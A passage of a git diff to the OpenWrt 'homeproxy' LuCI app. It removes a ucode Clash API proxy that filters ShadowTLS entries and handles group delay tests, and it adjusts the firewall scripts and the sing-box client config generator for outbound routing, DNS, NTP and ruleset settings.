offset)); - - if (sent === null || sent <= 0) - return false; - - offset += sent; - } - - return true; -} - -function recvAvailable(sock) { - let data = ''; - let eof = false; - - for (let i = 0; i < 32; i++) { - let chunk = sock.recv(16384); - - if (chunk === null) - break; - - if (length(chunk) === 0) { - eof = true; - break; - } - - data += chunk; - - if (length(chunk) < 16384) - break; - } - - return { data, eof }; -} - -function contentLength(headers) { - for (let line in headers) { - let matched = match(lc(line), /^content-length:[ \t]*([0-9]+)/); - - if (matched) - return int(matched[1]); - } - - return null; -} - -function headerValue(headers, name) { - name = lc(name); - - for (let line in headers) { - let matched = match(line, /^([^:]+):(.*)$/); - - if (matched && lc(trim(matched[1])) === name) - return trim(matched[2]); - } - - return null; -} - -function pathSegment(value) { - return replace(urlencode(value), /\+/g, '%20'); -} - -function parseHttpMessage(raw, body_to_eof) { - let header_end = index(raw, "\r\n\r\n"); - - if (header_end < 0) - return null; - - let header_text = substr(raw, 0, header_end); - let headers = split(header_text, "\r\n"); - let body_start = header_end + 4; - let body_len = contentLength(headers); - - if (body_len === null) - body_len = body_to_eof ? length(raw) - body_start : 0; - - let complete_len = body_start + body_len; - - if (length(raw) < complete_len) - return null; - - let request_line = split(headers[0] || '', /[ \t]+/); - - return { - raw: substr(raw, 0, complete_len), - headers, - body: substr(raw, body_start, body_len), - complete_len, - method: request_line[0] || '', - path: request_line[1] || '/' - }; -} - -function shouldFilter(method, path) { - return method === 'GET' && ( - path === '/proxies' || - index(path, '/proxies?') === 0 || - index(path, '/proxies/') === 0 || - path === '/providers/proxies' || - index(path, '/providers/proxies?') === 0 || - index(path, '/providers/proxies/') === 0 - ); -} - -function isUpgradeRequest(request) { - return !!headerValue(request.headers, 'Upgrade') || - index(lc(headerValue(request.headers, 'Connection') || ''), 'upgrade') >= 0; -} - -function rebuildCloseRequest(request) { - let headers = []; - - for (let i = 0; i < length(request.headers); i++) { - let line = request.headers[i], - header = lc(line); - - if (i > 0 && match(header, /^(accept-encoding|connection):/)) - continue; - - push(headers, line); - } - - push(headers, 'Accept-Encoding: identity'); - push(headers, 'Connection: close'); - - return join("\r\n", headers) + "\r\n\r\n" + request.body; -} - -function isShadowTlsTag(name) { - return type(name) === 'string' && - length(name) > length(shadowtls_suffix) && - substr(name, length(name) - length(shadowtls_suffix)) === shadowtls_suffix; -} - -function isHiddenProxyTag(name) { - return isShadowTlsTag(name); -} - -function filterProxyItem(item) { - if (type(item) !== 'object') - return; - - if (type(item.all) === 'array') - item.all = filter(item.all, (name) => !isHiddenProxyTag(name)); -} - -function filterProxyArray(items) { - return filter(items, (item) => { - if (type(item) === 'string') - return !isHiddenProxyTag(item); - - if (type(item) === 'object' && isHiddenProxyTag(item.name)) - return false; - - filterProxyItem(item); - return true; - }); -} - -function filterProxiesPayload(payload) { - if (type(payload) !== 'object') - return payload; - - filterProxyItem(payload); - - if (type(payload.proxies) === 'object') { - for (let name in payload.proxies) { - if (isHiddenProxyTag(name)) { - delete payload.proxies[name]; - continue; - } - - filterProxyItem(payload.proxies[name]); - } - } - - if (type(payload.providers) === 'object') { - for (let name in payload.providers) { - let provider = payload.providers[name]; - - if (type(provider) !== 'object') - continue; - - if (type(provider.proxies) === 'array') - provider.proxies = filterProxyArray(provider.proxies); - } - } - - return payload; -} - -function parseHex(value) { - let result = 0; - value = lc(trim(split(value, ';', 2)[0] || '')); - - for (let i = 0; i < length(value); i++) { - let digit = index('0123456789abcdef', substr(value, i, 1)); - - if (digit < 0) - return null; - - result = result * 16 + digit; - } - - return result; -} - -function decodeChunkedBody(body) { - let offset = 0; - let decoded = ''; - - while (offset < length(body)) { - let line_end = index(substr(body, offset), "\r\n"); - - if (line_end < 0) - return null; - - let size = parseHex(substr(body, offset, line_end)); - if (size === null) - return null; - - offset += line_end + 2; - - if (size === 0) - return decoded; - - if (length(body) < offset + size + 2) - return null; - - decoded += substr(body, offset, size); - offset += size + 2; - } - - return null; -} - -function rebuildResponse(response, body) { - let headers = []; - - for (let i = 0; i < length(response.headers); i++) { - let line = response.headers[i]; - - if (i > 0 && match(lc(line), /^(content-length|transfer-encoding):/)) - continue; - - push(headers, line); - } - - push(headers, 'Content-Length: ' + length(body)); - - return join("\r\n", headers) + "\r\n\r\n" + body; -} - -function filterResponse(raw) { - let response = parseHttpMessage(raw, true); - - if (response === null) - return raw; - - let body = response.body; - if (lc(headerValue(response.headers, 'transfer-encoding') || '') === 'chunked') { - body = decodeChunkedBody(substr(raw, response.complete_len - length(response.body))); - if (body === null) - return raw; - } - - let payload; - - try { - payload = json(body); - } catch (e) { - return raw; - } - - if (type(payload) !== 'object') - return raw; - - payload = filterProxiesPayload(payload); - - return rebuildResponse(response, sprintf('%J', payload)); -} - -function responseBody(response) { - if (response === null) - return null; - - let body = response.body; - - if (lc(headerValue(response.headers, 'transfer-encoding') || '') === 'chunked') { - body = decodeChunkedBody(response.body); - if (body === null) - return null; - } - - return body; -} - -function parseJsonBody(raw) { - if (raw === null) - return null; - - let response = parseHttpMessage(raw, true), - body = responseBody(response); - - if (body === null) - return null; - - try { - return json(body); - } catch (e) { - return null; - } -} - -function responseStatus(raw) { - let response = parseHttpMessage(raw, true); - - if (response === null) - return 0; - - let matched = match(response.headers[0] || '', /^HTTP\/[0-9.]+[ \t]+([0-9]+)/); - - return matched ? int(matched[1]) : 0; -} - -function responseComplete(raw) { - let header_end = index(raw, "\r\n\r\n"); - if (header_end < 0) - return false; - - let headers = split(substr(raw, 0, header_end), "\r\n"); - if (lc(headerValue(headers, 'transfer-encoding') || '') === 'chunked') - return decodeChunkedBody(substr(raw, header_end + 4)) !== null; - - if (contentLength(headers) === null) - return false; - - return parseHttpMessage(raw) !== null; -} - -function closeConnection(conn) { - if (!conn) - return; - - if (conn.client_handle) { - conn.client_handle.delete(); - conn.client_handle = null; - } - - if (conn.upstream_handle) { - conn.upstream_handle.delete(); - conn.upstream_handle = null; - } - - if (conn.timer) { - conn.timer.cancel(); - conn.timer = null; - } - - if (conn.idle_timer) { - conn.idle_timer.cancel(); - conn.idle_timer = null; - } - - if (conn.client) { - conn.client.close(); - conn.client = null; - } - - if (conn.upstream) { - conn.upstream.close(); - conn.upstream = null; - } - - delete connections[conn.id]; -} - -function isEmptyObject(value) { - return type(value) === 'object' && length(value) === 0; -} - -function buildJsonResponse(request, payload) { - let body = sprintf('%J', payload), - headers = [ - 'HTTP/1.1 200 OK', - 'Content-Type: application/json', - 'Connection: close' - ], - origin = headerValue(request.headers, 'Origin'); - - if (!isEmpty(origin)) { - let allowed_origins = toArray(uci.get(uciconfig, ucimain, 'clash_api_allow_origin')); - - if (index(allowed_origins, origin) >= 0) { - push(headers, 'Access-Control-Allow-Origin: ' + origin); - push(headers, 'Vary: Origin'); - } - } - - push(headers, 'Content-Length: ' + length(body)); - - return join("\r\n", headers) + "\r\n\r\n" + body; -} - -function parseGroupDelayPath(path) { - let parts = split(path, '?', 2), - matched = match(parts[0] || '', /^\/group\/(.+)\/delay$/); - - if (!matched) - return null; - - return { - name: urldecode(matched[1]), - query: (length(parts) > 1) ? ('?' + parts[1]) : '' - }; -} - -function upstreamHeader(request, name) { - let value = headerValue(request.headers, name); - return isEmpty(value) ? null : value; -} - -function upstreamRequest(method, path, request, body) { - body = body || ''; - - let headers = [ - sprintf('%s %s HTTP/1.1', method, path), - sprintf('Host: %s:%d', target.host, target.port), - 'Accept-Encoding: identity', - 'Connection: close' - ], - authorization = upstreamHeader(request, 'Authorization'), - origin = upstreamHeader(request, 'Origin'); - - if (authorization) - push(headers, 'Authorization: ' + authorization); - - if (origin) - push(headers, 'Origin: ' + origin); - - if (length(body)) { - let content_type = upstreamHeader(request, 'Content-Type'); - - if (content_type) - push(headers, 'Content-Type: ' + content_type); - - push(headers, 'Content-Length: ' + length(body)); - } - - return join("\r\n", headers) + "\r\n\r\n" + body; -} - -function fetchUpstreamAsync(method, path, request, body, done) { - let upstream = socket.connect(target.host, target.port, null, 3000); - - if (upstream === null) { - done(null); - return null; - } - - let fetch = { - upstream: upstream, - handle: null, - timer: null, - raw: '', - finished: false - }; - - function finish(raw) { - if (fetch.finished) - return; - - fetch.finished = true; - - if (fetch.handle) { - fetch.handle.delete(); - fetch.handle = null; - } - - if (fetch.timer) { - fetch.timer.cancel(); - fetch.timer = null; - } - - if (fetch.upstream) { - fetch.upstream.close(); - fetch.upstream = null; - } - - done(raw); - } - - if (!sendAll(upstream, upstreamRequest(method, path, request, body))) { - finish(null); - return fetch; - } - - fetch.timer = uloop.timer(upstream_read_timeout * 1000, () => finish(null)); - fetch.handle = uloop.handle(upstream, (events, eof, error) => { - if (events & uloop.ULOOP_READ) { - let received = recvAvailable(upstream); - - if (length(received.data)) { - if (length(fetch.raw) + length(received.data) > MAX_RESPONSE_BUFFER_SIZE) { - warn(sprintf('homeproxy clash api proxy: async fetch response exceeded %d bytes\n', MAX_RESPONSE_BUFFER_SIZE)); - finish(null); - return; - } - - fetch.raw += received.data; - } - - if (responseComplete(fetch.raw) || received.eof) { - finish(length(fetch.raw) ? fetch.raw : null); - return; - } - } - - if (eof || error) - finish(length(fetch.raw) ? fetch.raw : null); - }, uloop.ULOOP_READ); - - return fetch; -} - -function fetchVisibleProxyGroupAsync(group_name, request, done) { - fetchUpstreamAsync('GET', '/proxies', request, null, (raw) => { - if (raw === null) { - done(null); - return; - } - - let payload = filterProxiesPayload(parseJsonBody(raw)); - if (type(payload) !== 'object' || type(payload.proxies) !== 'object') { - done(null); - return; - } - - let group = payload.proxies[group_name]; - done((type(group) === 'object') ? group : null); - }); -} - -function testProxyDelayAsync(proxy_name, query, request, done) { - fetchUpstreamAsync('GET', - '/proxies/' + pathSegment(proxy_name) + '/delay' + query, - request, - null, - (raw) => { - if (raw === null || responseStatus(raw) < 200 || responseStatus(raw) >= 300) { - done(0); - return; - } - - let payload = parseJsonBody(raw); - - if (type(payload) === 'object' && type(payload.delay) === 'double') { - done(int(payload.delay)); - return; - } - - if (type(payload) === 'object' && type(payload.delay) === 'int') { - done(payload.delay); - return; - } - - done(0); - }); -} - -function fallbackGroupDelayAsync(group_info, request, progress, done) { - fetchVisibleProxyGroupAsync(group_info.name, request, (group) => { - if (progress) - progress(); - - if (group === null || type(group.all) !== 'array') { - done(null); - return; - } - - let results = {}, - candidates = [], - truncated = false; - - for (let proxy_name in group.all) { - if (isShadowTlsTag(proxy_name)) - continue; - - if (length(candidates) >= fallback_delay_limit) { - truncated = true; - break; - } - - push(candidates, proxy_name); - } - - if (truncated) - warn(sprintf('homeproxy clash api proxy: fallback delay for group %s limited to first %d visible proxies\n', - group_info.name, fallback_delay_limit)); - - function next(index) { - if (index >= length(candidates)) { - done(results); - return; - } - - let proxy_name = candidates[index]; - testProxyDelayAsync(proxy_name, group_info.query, request, (delay) => { - results[proxy_name] = delay; - - if (progress) - progress(); - - next(index + 1); - }); - } - - next(0); - }); -} - -function finishGroupDelay(conn, request, group_info, raw) { - if (!connections[conn.id]) - return; - - let payload = parseJsonBody(raw), - status = raw === null ? 0 : responseStatus(raw); - - if (type(payload) === 'object') - payload = filterProxiesPayload(payload); - - if (status >= 200 && status < 300 && !isEmptyObject(payload)) { - sendAll(conn.client, buildJsonResponse(request, payload)); - closeConnection(conn); - return; - } - - resetTimer(conn); - fallbackGroupDelayAsync(group_info, request, () => resetTimer(conn), (fallback_payload) => { - if (!connections[conn.id]) - return; - - if (fallback_payload !== null) { - sendAll(conn.client, buildJsonResponse(request, fallback_payload)); - closeConnection(conn); - return; - } - - if (raw !== null) - sendAll(conn.client, raw); - - closeConnection(conn); - }); -} - -function handleGroupDelay(conn, request, group_info) { - if (conn.client_handle) { - conn.client_handle.delete(); - conn.client_handle = null; - } - - conn.request_buffer = ''; - conn.timer = uloop.timer(filter_timeout, () => closeConnection(conn)); - fetchUpstreamAsync(request.method, request.path, request, request.body, - (raw) => finishGroupDelay(conn, request, group_info, raw)); - return true; -} - -function resetTimer(conn) { - if (conn.timer) - conn.timer.set(filter_timeout); -} - -function relayRead(conn, from, to) { - let received = recvAvailable(from); - - if (length(received.data) && !sendAll(to, received.data)) { - closeConnection(conn); - return; - } - - // Reset idle timer on data activity - if (conn.idle_timer && length(received.data) > 0) { - conn.idle_timer.set(CLIENT_IDLE_TIMEOUT); - } - - if (received.eof) - closeConnection(conn); -} - -function setupRelay(conn) { - // Set idle timer for relay phase (30s idle timeout) - conn.idle_timer = uloop.timer(CLIENT_IDLE_TIMEOUT, () => { - warn(`Connection ${conn.id} idle timeout during relay\n`); - closeConnection(conn); - }); - - conn.client_handle = uloop.handle(conn.client, (events, eof, error) => { - if (events & uloop.ULOOP_READ) - relayRead(conn, conn.client, conn.upstream); - - if (eof || error) - closeConnection(conn); - }, uloop.ULOOP_READ); - - conn.upstream_handle = uloop.handle(conn.upstream, (events, eof, error) => { - if (events & uloop.ULOOP_READ) - relayRead(conn, conn.upstream, conn.client); - - if (eof || error) - closeConnection(conn); - }, uloop.ULOOP_READ); -} - -function finishFilteredResponse(conn) { - sendAll(conn.client, filterResponse(conn.response_buffer)); - closeConnection(conn); -} - -function setupFilteredResponse(conn) { - conn.response_buffer = ''; - conn.timer = uloop.timer(filter_timeout, () => closeConnection(conn)); - - conn.upstream_handle = uloop.handle(conn.upstream, (events, eof, error) => { - if (events & uloop.ULOOP_READ) { - let received = recvAvailable(conn.upstream); - - if (length(received.data)) { - // Check response buffer size limit - if (length(conn.response_buffer) + length(received.data) > MAX_RESPONSE_BUFFER_SIZE) { - warn(`Connection ${conn.id} response buffer exceeded ${MAX_RESPONSE_BUFFER_SIZE} bytes\n`); - closeConnection(conn); - return; - } - conn.response_buffer += received.data; - resetTimer(conn); - } - - if (responseComplete(conn.response_buffer) || received.eof) { - finishFilteredResponse(conn); - return; - } - } - - if (eof || error) { - if (length(conn.response_buffer)) - finishFilteredResponse(conn); - else - closeConnection(conn); - } - }, uloop.ULOOP_READ); -} - -function startUpstream(conn, request) { - try { - let group_delay = parseGroupDelayPath(request.path); - - if (request.method === 'GET' && group_delay !== null) - return handleGroupDelay(conn, request, group_delay); - - if (conn.client_handle) { - conn.client_handle.delete(); - conn.client_handle = null; - } - - conn.filter_read = shouldFilter(request.method, request.path); - conn.upstream = socket.connect(target.host, target.port, null, 3000); - - if (conn.upstream === null) { - warn(sprintf('homeproxy clash api proxy: connect to %s:%d failed: %s\n', - target.host, target.port, socket.error())); - closeConnection(conn); - return; - } - - let upstream_request = (conn.filter_read || !isUpgradeRequest(request)) - ? rebuildCloseRequest(request) - : conn.request_buffer; - if (!sendAll(conn.upstream, upstream_request)) { - warn('homeproxy clash api proxy: failed to send upstream request\n'); - closeConnection(conn); - return; - } - - conn.request_buffer = ''; - - if (conn.filter_read) - setupFilteredResponse(conn); - else - setupRelay(conn); - } catch (e) { - warn(sprintf('homeproxy clash api proxy: start upstream exception: %J\n', e)); - closeConnection(conn); - } -} - -function onClientRequest(conn, events, eof, error) { - if (events & uloop.ULOOP_READ) { - let received = recvAvailable(conn.client); - - if (length(received.data)) { - // Check request buffer size limit - if (length(conn.request_buffer) + length(received.data) > MAX_REQUEST_BUFFER_SIZE) { - warn(`Connection ${conn.id} request buffer exceeded ${MAX_REQUEST_BUFFER_SIZE} bytes\n`); - closeConnection(conn); - return; - } - conn.request_buffer += received.data; - } - - let request = parseHttpMessage(conn.request_buffer); - if (request !== null) { - // Cancel idle timer when request is complete - if (conn.idle_timer) { - conn.idle_timer.cancel(); - delete conn.idle_timer; - } - startUpstream(conn, request); - return; - } - - if (received.eof) { - closeConnection(conn); - return; - } - } - - if (eof || error) - closeConnection(conn); -} - -function acceptClients(server) { - while (true) { - // Check connection limit - let active_connections = length(keys(connections)); - if (active_connections >= MAX_CONNECTIONS) { - // Accept and immediately close to reject (don't leave in backlog) - let rejected = server.accept(); - if (rejected) { - rejected.close(); - } - warn(`Connection limit reached: ${active_connections}/${MAX_CONNECTIONS}\n`); - break; - } - - let client = server.accept(); - - if (client === null) - break; - - let conn = { - id: next_id++, - client, - upstream: null, - client_handle: null, - upstream_handle: null, - timer: null, - request_buffer: '', - response_buffer: '', - created_at: time() - }; - - connections[conn.id] = conn; - - // Set idle timeout (uloop.timer signature: timeout_ms, callback) - conn.idle_timer = uloop.timer(CLIENT_IDLE_TIMEOUT, () => { - warn(`Connection ${conn.id} idle timeout\n`); - closeConnection(conn); - }); - - conn.client_handle = uloop.handle(client, (events, eof, error) => onClientRequest(conn, events, eof, error), uloop.ULOOP_READ); - } -} - -const clash_api_enabled = uci.get(uciconfig, ucimain, 'clash_api_enabled') || '0'; - -if (clash_api_enabled !== '1') - exit(0); - -target = parse_controller(uci.get(uciconfig, ucimain, 'clash_api_external_controller') || '127.0.0.1:9090', 9090); -listen = isEmpty(uci.get(uciconfig, ucimain, 'clash_api_proxy_external_controller')) - ? deriveProxyController((index(target.host, ':') >= 0 ? '[' + target.host + ']' : target.host) + ':' + target.port) - : parse_controller(uci.get(uciconfig, ucimain, 'clash_api_proxy_external_controller'), 9091); - -if (isEmpty(listen.host)) - listen.host = '127.0.0.1'; - -server = socket.listen(listen.host, listen.port, null, 128, true); - -if (server === null) { - warn(sprintf('homeproxy clash api proxy: failed to listen on %s:%d: %s\n', listen.host, listen.port, socket.error())); - exit(1); -} - -uloop.init(); -uloop.handle(server, () => acceptClients(server), uloop.ULOOP_READ); - -warn(sprintf('homeproxy clash api proxy: listening on %s:%d, forwarding to %s:%d\n', - listen.host, listen.port, target.host, target.port)); - -uloop.run(); diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/firewall_post.ut b/luci-app-homeproxy/root/etc/homeproxy/scripts/firewall_post.ut index 6d87f163d..04a0f6d9b 100755 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/firewall_post.ut +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/firewall_post.ut @@ -57,25 +57,17 @@ const uci = cursor(); uci.load(cfgname); const routing_mode = uci.get(cfgname, 'config', 'routing_mode') || 'bypass_mainland_china'; -let outbound_node, outbound_udp_node, default_outbound, china_dns_server, bypass_cn_traffic; - -default_outbound = uci.get(cfgname, 'routing', 'default_outbound') || 'nil'; -bypass_cn_traffic = uci.get(cfgname, 'routing', 'bypass_cn_traffic') || '0'; +let outbound_node, outbound_udp_node, china_dns_server, bypass_cn_traffic; if (routing_mode !== 'custom') { outbound_node = uci.get(cfgname, 'config', 'main_node') || 'nil'; outbound_udp_node = uci.get(cfgname, 'config', 'main_udp_node') || 'nil'; china_dns_server = uci.get(cfgname, 'config', 'china_dns_server'); - if (isEmpty(outbound_node)) - outbound_node = default_outbound; } else { - outbound_node = default_outbound; + outbound_node = uci.get(cfgname, 'routing', 'default_outbound') || 'nil'; + bypass_cn_traffic = uci.get(cfgname, 'routing', 'bypass_cn_traffic') || '0'; } -const use_default_outbound_routing = (routing_mode !== 'custom') && - isEmpty(uci.get(cfgname, 'config', 'main_node') || 'nil') && - !isEmpty(default_outbound); - let routing_port = uci.get(cfgname, 'config', 'routing_port'); if (routing_port === 'common') routing_port = uci.get(cfgname, 'infra', 'common_port') || '22,53,80,143,443,465,587,853,873,993,995,8080,8443,9418'; @@ -92,7 +84,7 @@ if (match(proxy_mode, /redirect/)) { redirect_port = uci.get(cfgname, 'infra', 'redirect_port') || '5331'; } if (match(proxy_mode, /tproxy/)) - if (outbound_udp_node !== 'nil' || routing_mode === 'custom' || use_default_outbound_routing) { + if (outbound_udp_node !== 'nil' || routing_mode === 'custom') { tproxy_port = uci.get(cfgname, 'infra', 'tproxy_port') || '5332'; tproxy_mark = resolve_mark(uci.get(cfgname, 'infra', 'tproxy_mark') || '101'); } @@ -384,7 +376,7 @@ chain homeproxy_output_redir { {% endif %} {# UDP tproxy #} -{% if (match(proxy_mode, /tproxy/) && (outbound_udp_node !== 'nil' || routing_mode === 'custom' || use_default_outbound_routing)): %} +{% if (match(proxy_mode, /tproxy/) && (outbound_udp_node !== 'nil' || routing_mode === 'custom')): %} chain homeproxy_mangle_tproxy { meta l4proto udp meta mark set {{ tproxy_mark }} tproxy ip to 127.0.0.1:{{ tproxy_port }} counter accept {% if (ipv6_support === '1'): %} diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/firewall_pre.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/firewall_pre.uc index 0856478e0..378df2be0 100755 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/firewall_pre.uc +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/firewall_pre.uc @@ -15,9 +15,10 @@ const routing_mode = uci.get(cfgname, 'config', 'routing_mode') || 'bypass_mainl let outbound_node, tun_name; if (match(proxy_mode, /tun/)) { - outbound_node = uci.get(cfgname, 'config', 'main_node') || 'nil'; - if (outbound_node === 'nil') + if (routing_mode === 'custom') outbound_node = uci.get(cfgname, 'routing', 'default_outbound') || 'nil'; + else + outbound_node = uci.get(cfgname, 'config', 'main_node') || 'nil'; if (outbound_node !== 'nil') tun_name = uci.get(cfgname, 'infra', 'tun_name') || 'singtun0'; diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/generate_client.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/generate_client.uc index b558243d3..70a16948c 100755 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/generate_client.uc +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/generate_client.uc @@ -7,6 +7,7 @@ 'use strict'; +import { md5 } from 'digest'; import { readfile, writefile } from 'fs'; import { isnan } from 'math'; import { connect } from 'ubus'; @@ -14,90 +15,25 @@ import { cursor } from 'uci'; import { isEmpty, parseURL, strToBool, strToInt, strToTime, - removeBlankAttrs, validation, HP_DIR as DEFAULT_HP_DIR, RUN_DIR as DEFAULT_RUN_DIR + removeBlankAttrs, validation, HP_DIR, RUN_DIR } from 'homeproxy'; -import { - apply_outbound_tag_rename as applyOutboundTagRenameHelper, - assert_unique_outbound_tags as assertUniqueOutboundTagsHelper, - assert_no_stale_outbound_tags as assertNoStaleOutboundTagsHelper, - build_outbound_tag_map, - get_outbound_tag, - get_shadowtls_outbound_tag, - get_fallback_outbound_tag -} from 'outbound_tag'; -import { expand_node_filter as expandNodeFilterHelper } from 'node_filter'; -import * as routingTarget from 'routing_target'; -function testRootArg() { - const argv = (type(ARGV) === 'array') ? ARGV : []; - - for (let i = 0; i < length(argv); i++) - if (argv[i] === '--test-root' && !isEmpty(argv[i + 1])) - return argv[i + 1]; - - return null; -} - -const TEST_ROOT = testRootArg(); -const HP_DIR = TEST_ROOT ? TEST_ROOT + '/etc/homeproxy' : DEFAULT_HP_DIR; -const RUN_DIR = TEST_ROOT ? TEST_ROOT + '/var/run/homeproxy' : DEFAULT_RUN_DIR; -const DIAGNOSTICS_PATH = RUN_DIR + '/config-diagnostics.json'; - -/* 配置错误与诊断收集 */ -let config_errors = []; - -function reportError(type, message, suggestion) { - push(config_errors, { - type: type, /* 'error', 'warning' */ - message: message, - suggestion: suggestion - }); -} - -function hasErrors() { - for (let err in config_errors) - if (err.type === 'error') - return true; - return false; -} - -function formatErrors() { - let output = ''; - for (let err in config_errors) { - output += sprintf('[%s] %s\n', uc(err.type), err.message); - if (err.suggestion) - output += sprintf('建议: %s\n', err.suggestion); - output += '\n'; - } - return output; -} - -function writeDiagnostics() { - system('mkdir -p ' + RUN_DIR); - - if (length(config_errors)) { - writefile(DIAGNOSTICS_PATH, sprintf('%.J\n', { - time: time(), - items: config_errors - })); - } else { - system('rm -f ' + DIAGNOSTICS_PATH); - } -} - -const ubus = TEST_ROOT ? null : connect(); +const ubus = connect(); /* const features = ubus.call('luci.homeproxy', 'singbox_get_features') || {}; */ /* UCI config start */ -const uci = TEST_ROOT ? cursor(TEST_ROOT + '/etc/config') : cursor(); +const uci = cursor(); const uciconfig = 'homeproxy'; uci.load(uciconfig); const uciinfra = 'infra', ucimain = 'config', - ucicontrol = 'control'; + ucicontrol = 'control', + uciclashapi = 'clash_api', + ucintp = 'ntp', + ucicache = 'cache'; const ucidnssetting = 'dns', ucidnsserver = 'dns_server', @@ -109,48 +45,65 @@ const uciroutingsetting = 'routing', const ucinode = 'node'; const uciruleset = 'ruleset'; +const RULESET_DIR = HP_DIR + '/ruleset'; const routing_mode = uci.get(uciconfig, ucimain, 'routing_mode') || 'bypass_mainland_china'; -const routing_target_max_depth = 20; -const routing_target_ctx = { - uci: uci, - config: uciconfig, - node_type: ucinode, - tag_map: build_outbound_tag_map(uci), - max_depth: routing_target_max_depth, - reportError: reportError -}; -let wan_dns = TEST_ROOT ? null : ubus.call('network.interface', 'status', {'interface': 'wan'})?.['dns-server']?.[0]; +function normalize_list(value) { + if (isEmpty(value)) + return []; + if (type(value) === 'array') + return value; + return [value]; +} + +function ruleset_file_name(tag, format) { + let filename = replace(tag || 'ruleset', /[^A-Za-z0-9_.-]+/g, '_'); + if (isEmpty(filename)) + filename = 'ruleset'; + + return filename + ((format === 'source') ? '.json' : '.srs'); +} + +function ruleset_default_path(tag, format) { + return RULESET_DIR + '/' + ruleset_file_name(tag, format); +} + +function ruleset_remote_path(path, tag, format) { + if (isEmpty(path)) + return ruleset_default_path(tag, format); + + if (match(path, /\/$/)) + return path + ruleset_file_name(tag, format); + + return path; +} + +let wan_dns = ubus.call('network.interface', 'status', {'interface': 'wan'})?.['dns-server']?.[0]; if (!wan_dns) - wan_dns = (routing_mode in ['proxy_mainland_china', 'global']) ? '8.8.8.8' : '223.5.5.5'; + wan_dns = (routing_mode in ['proxy_mainland_china', 'global']) ? '9.9.9.9' : '223.5.5.5'; const dns_port = uci.get(uciconfig, uciinfra, 'dns_port') || '5333'; -const ntp_server = uci.get(uciconfig, uciinfra, 'ntp_server') || 'time.apple.com'; +let ntp_enabled = uci.get(uciconfig, ucintp, 'enabled'), + ntp_server = uci.get(uciconfig, ucintp, 'server'), + ntp_server_port = uci.get(uciconfig, ucintp, 'server_port'), + ntp_interval = uci.get(uciconfig, ucintp, 'interval'); + +if (isEmpty(ntp_enabled) && isEmpty(ntp_server)) { + ntp_server = uci.get(uciconfig, uciinfra, 'ntp_server'); + ntp_enabled = !isEmpty(ntp_server) ? '1' : '0'; +} const ipv6_support = uci.get(uciconfig, ucimain, 'ipv6_support') || '0'; -let main_node, main_udp_node, dedicated_udp_node, default_outbound, default_outbound_dns, +let cache_file_enabled, cache_file_path, cache_store_rdrc, cache_rdrc_timeout, + main_node, main_udp_node, dedicated_udp_node, default_outbound, default_outbound_dns, domain_strategy, sniff_override, dns_server, china_dns_server, dns_default_strategy, dns_default_server, dns_disable_cache, dns_disable_cache_expire, dns_independent_cache, - dns_client_subnet, cache_file_store_rdrc, cache_file_rdrc_timeout, direct_domain_list, + dns_client_subnet, direct_domain_list, proxy_domain_list; -/* Routing / DNS advanced settings may still be in use when非 custom模式下 main_node 为空 */ -default_outbound = uci.get(uciconfig, uciroutingsetting, 'default_outbound') || 'nil'; -default_outbound_dns = uci.get(uciconfig, uciroutingsetting, 'default_outbound_dns') || 'default-dns'; -domain_strategy = uci.get(uciconfig, uciroutingsetting, 'domain_strategy'); -dns_default_strategy = uci.get(uciconfig, ucidnssetting, 'default_strategy') || - uci.get(uciconfig, ucidnssetting, 'dns_strategy'); -dns_default_server = uci.get(uciconfig, ucidnssetting, 'default_server') || 'default-dns'; -dns_disable_cache = uci.get(uciconfig, ucidnssetting, 'disable_cache'); -dns_disable_cache_expire = uci.get(uciconfig, ucidnssetting, 'disable_cache_expire'); -dns_independent_cache = uci.get(uciconfig, ucidnssetting, 'independent_cache'); -dns_client_subnet = uci.get(uciconfig, ucidnssetting, 'client_subnet'); -cache_file_store_rdrc = uci.get(uciconfig, ucidnssetting, 'cache_file_store_rdrc'); -cache_file_rdrc_timeout = uci.get(uciconfig, ucidnssetting, 'cache_file_rdrc_timeout'); - if (routing_mode !== 'custom') { main_node = uci.get(uciconfig, ucimain, 'main_node') || 'nil'; main_udp_node = uci.get(uciconfig, ucimain, 'main_udp_node') || 'nil'; @@ -165,8 +118,7 @@ if (routing_mode !== 'custom') { if (isEmpty(china_dns_server) || type(china_dns_server) !== 'string' || china_dns_server === 'wan') china_dns_server = wan_dns; } - if (!isEmpty(main_node)) - dns_default_strategy = (ipv6_support !== '1') ? 'ipv4_only' : null; + dns_default_strategy = (ipv6_support !== '1') ? 'ipv4_only' : null; direct_domain_list = trim(readfile(HP_DIR + '/resources/direct_list.txt')); if (direct_domain_list) @@ -176,14 +128,23 @@ if (routing_mode !== 'custom') { if (proxy_domain_list) proxy_domain_list = split(proxy_domain_list, /[\r\n]/); - sniff_override = uci.get(uciconfig, uciinfra, 'sniff_override') || - uci.get(uciconfig, uciroutingsetting, 'sniff_override') || '1'; + sniff_override = uci.get(uciconfig, uciinfra, 'sniff_override') || '1'; } else { + /* DNS settings */ + dns_default_strategy = uci.get(uciconfig, ucidnssetting, 'default_strategy'); + dns_default_server = uci.get(uciconfig, ucidnssetting, 'default_server'); + dns_disable_cache = uci.get(uciconfig, ucidnssetting, 'disable_cache'); + dns_disable_cache_expire = uci.get(uciconfig, ucidnssetting, 'disable_cache_expire'); + dns_independent_cache = uci.get(uciconfig, ucidnssetting, 'independent_cache'); + dns_client_subnet = uci.get(uciconfig, ucidnssetting, 'client_subnet'); + + /* Routing settings */ + default_outbound = uci.get(uciconfig, uciroutingsetting, 'default_outbound') || 'nil'; + default_outbound_dns = uci.get(uciconfig, uciroutingsetting, 'default_outbound_dns') || 'default-dns'; + domain_strategy = uci.get(uciconfig, uciroutingsetting, 'domain_strategy'); sniff_override = uci.get(uciconfig, uciroutingsetting, 'sniff_override'); } -const use_default_outbound_routing = isEmpty(main_node) && !isEmpty(default_outbound); - const proxy_mode = uci.get(uciconfig, ucimain, 'proxy_mode') || 'redirect_tproxy', default_interface = uci.get(uciconfig, ucicontrol, 